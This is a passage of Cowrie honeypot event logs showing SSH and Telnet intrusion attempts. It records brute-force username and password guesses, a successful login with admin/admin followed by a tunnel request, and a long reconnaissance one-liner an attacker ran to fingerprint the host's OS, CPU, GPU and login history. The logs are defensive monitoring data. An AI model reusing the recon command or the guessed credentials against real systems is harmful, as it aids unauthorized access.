2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:06.303152Z","src_ip":"91.92.40.176","session":"26dac54386ae","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:06.306508Z","src_ip":"91.92.40.176","session":"26dac54386ae","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:06.309563Z","src_ip":"91.92.40.176","session":"26dac54386ae","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:06.312622Z","src_ip":"91.92.40.176","session":"26dac54386ae","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:06.316305Z","src_ip":"91.92.40.176","session":"26dac54386ae","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:06.318988Z","src_ip":"91.92.40.176","session":"26dac54386ae","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:06.321613Z","src_ip":"91.92.40.176","session":"26dac54386ae","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:06.325012Z","src_ip":"91.92.40.176","session":"26dac54386ae","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:06.328714Z","src_ip":"91.92.40.176","session":"26dac54386ae","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:06.332140Z","src_ip":"91.92.40.176","session":"26dac54386ae","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:06.423446Z","src_ip":"91.92.40.176","session":"26dac54386ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:06.518371Z","src_ip":"91.92.40.176","session":"26dac54386ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.215.213.210","src_port":41724,"dst_ip":"10.17.0.5","dst_port":22,"session":"55f9bc13d321","protocol":"ssh","message":"New connection: 162.215.213.210:41724 (10.17.0.5:22) [session: 55f9bc13d321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:12.254335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:12.260792Z","src_ip":"162.215.213.210","session":"55f9bc13d321","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:12.345551Z","src_ip":"162.215.213.210","session":"55f9bc13d321","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitget","password":"bitget456","message":"login attempt [bitget/bitget456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:12.592273Z","src_ip":"162.215.213.210","session":"55f9bc13d321","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:13.676948Z","src_ip":"162.215.213.210","session":"55f9bc13d321","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.708115577697754,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:18.035668Z","src_ip":"170.64.224.25","session":"d9796da1ee64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.60","src_port":52097,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdd90a35fb1f","protocol":"telnet","message":"New connection: 147.185.132.60:52097 (10.17.0.5:23) [session: cdd90a35fb1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:20.121955Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":50016,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e0b7ec444db","protocol":"telnet","message":"New connection: 107.6.151.170:50016 (159.203.135.109:23) [session: 9e0b7ec444db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:21.810659Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":48356,"dst_ip":"159.203.135.109","dst_port":23,"session":"fef8b53fcdf0","protocol":"telnet","message":"New connection: 107.6.151.170:48356 (159.203.135.109:23) [session: fef8b53fcdf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:26.999320Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":51332,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7cd02b025ec","protocol":"ssh","message":"New connection: 103.149.28.157:51332 (10.17.0.5:22) [session: f7cd02b025ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:32.715823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:32.719339Z","src_ip":"103.149.28.157","session":"f7cd02b025ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:32.969631Z","src_ip":"103.149.28.157","session":"f7cd02b025ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23vec4rpcc","message":"login attempt [root/23vec4rpcc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:33.721957Z","src_ip":"103.149.28.157","session":"f7cd02b025ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:34.975481Z","src_ip":"103.149.28.157","session":"f7cd02b025ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.20.137","src_port":49036,"dst_ip":"159.203.135.109","dst_port":22,"session":"05cd5cf18b89","protocol":"ssh","message":"New connection: 162.240.20.137:49036 (159.203.135.109:22) [session: 05cd5cf18b89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:37.075536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:37.078891Z","src_ip":"162.240.20.137","session":"05cd5cf18b89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:37.170026Z","src_ip":"162.240.20.137","session":"05cd5cf18b89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ch@!n$S3cur3#P@ss","message":"login attempt [root/Ch@!n$S3cur3#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:37.437412Z","src_ip":"162.240.20.137","session":"05cd5cf18b89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:38.528117Z","src_ip":"162.240.20.137","session":"05cd5cf18b89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":57932,"dst_ip":"159.203.135.109","dst_port":23,"session":"3afafe586235","protocol":"telnet","message":"New connection: 107.6.151.170:57932 (159.203.135.109:23) [session: 3afafe586235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:51.322271Z"}
{"eventid":"cowrie.session.closed","duration":32.053035497665405,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:52.174847Z","src_ip":"147.185.132.60","session":"cdd90a35fb1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":7508,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8be44ab9271","protocol":"ssh","message":"New connection: 176.53.159.196:7508 (159.203.135.109:22) [session: e8be44ab9271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:57.491941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:57.495954Z","src_ip":"176.53.159.196","session":"e8be44ab9271","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:57.592186Z","src_ip":"176.53.159.196","session":"e8be44ab9271","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:57.881262Z","src_ip":"176.53.159.196","session":"e8be44ab9271","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:57.979919Z","session":"e8be44ab9271","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:58.082132Z","src_ip":"176.53.159.196","session":"e8be44ab9271","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:58.180601Z","src_ip":"176.53.159.196","session":"e8be44ab9271","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.1579270362854,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:58:10.157094Z","src_ip":"107.6.151.170","session":"fef8b53fcdf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.180.166","src_port":33546,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f40966328e2","protocol":"ssh","message":"New connection: 192.169.180.166:33546 (159.203.135.109:22) [session: 7f40966328e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:58:11.584928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:58:11.589171Z","src_ip":"192.169.180.166","session":"7f40966328e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:58:11.654089Z","src_ip":"192.169.180.166","session":"7f40966328e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andreas","password":"andreas123","message":"login attempt [andreas/andreas123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:58:11.849575Z","src_ip":"192.169.180.166","session":"7f40966328e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:58:12.916688Z","src_ip":"192.169.180.166","session":"7f40966328e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.141.65","src_port":41714,"dst_ip":"159.203.135.109","dst_port":22,"session":"356077e0f6cf","protocol":"ssh","message":"New connection: 173.236.141.65:41714 (159.203.135.109:22) [session: 356077e0f6cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:58:14.737828Z"}
